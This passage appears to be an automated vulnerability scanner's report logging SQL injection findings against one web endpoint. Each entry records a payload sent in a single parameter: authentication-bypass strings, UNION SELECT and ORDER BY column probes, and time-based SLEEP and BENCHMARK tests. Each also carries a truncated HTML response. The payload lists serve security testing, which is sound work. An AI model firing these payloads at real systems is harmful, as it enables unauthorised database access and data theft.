script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1181
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1182
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1183
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 10--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1184
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1185Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1186
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1187
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1188
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1189
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or sleep(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1190
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1191
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1192
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1193
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1194
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1195
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
